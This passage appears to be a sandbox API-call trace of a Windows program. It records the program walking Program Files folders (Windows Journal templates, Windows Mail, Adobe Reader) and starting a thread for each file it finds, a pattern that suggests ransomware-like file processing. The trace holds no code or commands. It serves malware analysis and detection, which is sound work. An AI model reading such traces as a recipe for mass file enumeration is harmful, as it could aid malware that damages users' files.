| out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0086.279] wcscmp (_String1="blank.jtp", _String2=".") returned 1 [0086.279] wcscmp (_String1="blank.jtp", _String2="..") returned 1 [0086.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85e190 [0086.279] wcscpy (in: _Dest=0x1b85e190, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0086.279] wcscat (in: _Dest=0x1b85e190, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0086.279] wcscat (in: _Dest=0x1b85e190, _Source="blank.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" [0090.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0090.481] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0090.481] wcscmp (_String1="Dotted_Line.jtp", _String2=".") returned 1 [0090.481] wcscmp (_String1="Dotted_Line.jtp", _String2="..") returned 1 [0090.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ea10 [0090.481] wcscpy (in: _Dest=0x1b85ea10, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.481] wcscat (in: _Dest=0x1b85ea10, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.481] wcscat (in: _Dest=0x1b85ea10, _Source="Dotted_Line.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" [0090.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ea10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0090.493] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0090.493] wcscmp (_String1="Genko_1.jtp", _String2=".") returned 1 [0090.493] wcscmp (_String1="Genko_1.jtp", _String2="..") returned 1 [0090.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85ea90 [0090.493] wcscpy (in: _Dest=0x1b85ea90, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.493] wcscat (in: _Dest=0x1b85ea90, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.494] wcscat (in: _Dest=0x1b85ea90, _Source="Genko_1.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" [0090.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ea90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0090.494] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0090.495] wcscmp (_String1="Genko_2.jtp", _String2=".") returned 1 [0090.495] wcscmp (_String1="Genko_2.jtp", _String2="..") returned 1 [0090.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b85eb10 [0090.495] wcscpy (in: _Dest=0x1b85eb10, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.495] wcscat (in: _Dest=0x1b85eb10, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.495] wcscat (in: _Dest=0x1b85eb10, _Source="Genko_2.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" [0090.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85eb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8 [0090.496] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc562f57b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc562f57b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x476ec6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.jtp", cAlternateFileName="")) returned 1 [0090.496] wcscmp (_String1="Graph.jtp", _String2=".") returned 1 [0090.496] wcscmp (_String1="Graph.jtp", _String2="..") returned 1 [0090.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85eb90 [0090.496] wcscpy (in: _Dest=0x1b85eb90, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.496] wcscat (in: _Dest=0x1b85eb90, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.496] wcscat (in: _Dest=0x1b85eb90, _Source="Graph.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" [0090.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85eb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0090.497] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc567b835, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc567b835, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47784c37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x26f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.jtp", cAlternateFileName="")) returned 1 [0090.497] wcscmp (_String1="Memo.jtp", _String2=".") returned 1 [0090.497] wcscmp (_String1="Memo.jtp", _String2="..") returned 1 [0090.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c19c0 [0090.497] wcscpy (in: _Dest=0x1b7c19c0, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.497] wcscat (in: _Dest=0x1b7c19c0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.497] wcscat (in: _Dest=0x1b7c19c0, _Source="Memo.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" [0090.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c19c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0090.498] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56a1992, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56a1992, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47ea8dd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.jtp", cAlternateFileName="")) returned 1 [0090.498] wcscmp (_String1="Month_Calendar.jtp", _String2=".") returned 1 [0090.498] wcscmp (_String1="Month_Calendar.jtp", _String2="..") returned 1 [0090.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85b9a0 [0090.498] wcscpy (in: _Dest=0x1b85b9a0, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.498] wcscat (in: _Dest=0x1b85b9a0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.499] wcscat (in: _Dest=0x1b85b9a0, _Source="Month_Calendar.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp" [0090.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0090.500] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56c7aef, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56c7aef, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.jtp", cAlternateFileName="")) returned 1 [0090.500] wcscmp (_String1="Music.jtp", _String2=".") returned 1 [0090.500] wcscmp (_String1="Music.jtp", _String2="..") returned 1 [0090.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85ec10 [0090.500] wcscpy (in: _Dest=0x1b85ec10, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.500] wcscat (in: _Dest=0x1b85ec10, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.500] wcscat (in: _Dest=0x1b85ec10, _Source="Music.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" [0090.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ec10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0090.501] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc56edc4c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc56edc4c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47f4134f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.jtp", cAlternateFileName="")) returned 1 [0090.501] wcscmp (_String1="Seyes.jtp", _String2=".") returned 1 [0090.501] wcscmp (_String1="Seyes.jtp", _String2="..") returned 1 [0090.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85ec90 [0090.501] wcscpy (in: _Dest=0x1b85ec90, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.501] wcscat (in: _Dest=0x1b85ec90, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.501] wcscat (in: _Dest=0x1b85ec90, _Source="Seyes.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" [0090.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ec90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c8 [0090.502] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0090.502] wcscmp (_String1="Shorthand.jtp", _String2=".") returned 1 [0090.502] wcscmp (_String1="Shorthand.jtp", _String2="..") returned 1 [0090.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ed10 [0090.502] wcscpy (in: _Dest=0x1b85ed10, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.502] wcscat (in: _Dest=0x1b85ed10, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.502] wcscat (in: _Dest=0x1b85ed10, _Source="Shorthand.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" [0090.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ed10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0090.503] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0090.503] wcscmp (_String1="To_Do_List.jtp", _String2=".") returned 1 [0090.503] wcscmp (_String1="To_Do_List.jtp", _String2="..") returned 1 [0090.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ed90 [0090.503] wcscpy (in: _Dest=0x1b85ed90, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0090.503] wcscat (in: _Dest=0x1b85ed90, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0090.503] wcscat (in: _Dest=0x1b85ed90, _Source="To_Do_List.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" [0090.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ed90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c0 [0090.504] FindNextFileW (in: hFindFile=0x1b7ce7c0, lpFindFileData=0x1b868770 | out: lpFindFileData=0x1b868770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0090.504] FindClose (in: hFindFile=0x1b7ce7c0 | out: hFindFile=0x1b7ce7c0) returned 1 [0090.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868770) returned 1 [0090.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb290) returned 1 [0090.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ce8e0) returned 1 Thread: id = 155 os_tid = 0x51c [0086.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b858fd0 [0086.280] wcscpy (in: _Dest=0x1b858fd0, _Source="C:\\Program Files\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0086.280] wcscat (in: _Dest=0x1b858fd0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\") returned="C:\\Program Files\\Windows Mail\\en-US\\" [0086.281] wcscat (in: _Dest=0x1b858fd0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\*") returned="C:\\Program Files\\Windows Mail\\en-US\\*" [0086.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b8699e0 [0086.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859030 [0086.281] wcscmp (_String1=".", _String2=".") returned 0 [0086.281] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.281] wcscmp (_String1="..", _String2=".") returned 1 [0086.281] wcscmp (_String1="..", _String2="..") returned 0 [0086.281] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0086.281] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1 [0086.281] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1 [0086.281] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0086.281] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1 [0086.281] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1 [0086.281] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0086.281] FindClose (in: hFindFile=0x1b859030 | out: hFindFile=0x1b859030) returned 1 [0086.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699e0) returned 1 [0086.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858fd0) returned 1 [0086.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bfe0) returned 1 Thread: id = 156 os_tid = 0x814 [0086.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b858fd0 [0086.287] wcscpy (in: _Dest=0x1b858fd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0086.287] wcscat (in: _Dest=0x1b858fd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0086.287] wcscat (in: _Dest=0x1b858fd0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0086.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b8699e0 [0086.287] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b859030 [0086.287] wcscmp (_String1=".", _String2=".") returned 0 [0086.287] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.288] wcscmp (_String1="..", _String2=".") returned 1 [0086.288] wcscmp (_String1="..", _String2="..") returned 0 [0086.288] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | out: lpFindFileData=0x1b8699e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0x0, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0086.288] wcscmp (_String1="Benioku.htm", _String2=".") returned 1 [0086.288] wcscmp (_String1="Benioku.htm", _String2="..") returned 1 [0086.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85e210 [0086.289] wcscpy (in: _Dest=0x1b85e210, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0086.289] wcscat (in: _Dest=0x1b85e210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0086.289] wcscat (in: _Dest=0x1b85e210, _Source="Benioku.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0097.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8 [0097.073] FindNextFileW (in: hFindFile=0x1b859030, lpFindFileData=0x1b8699e0 | 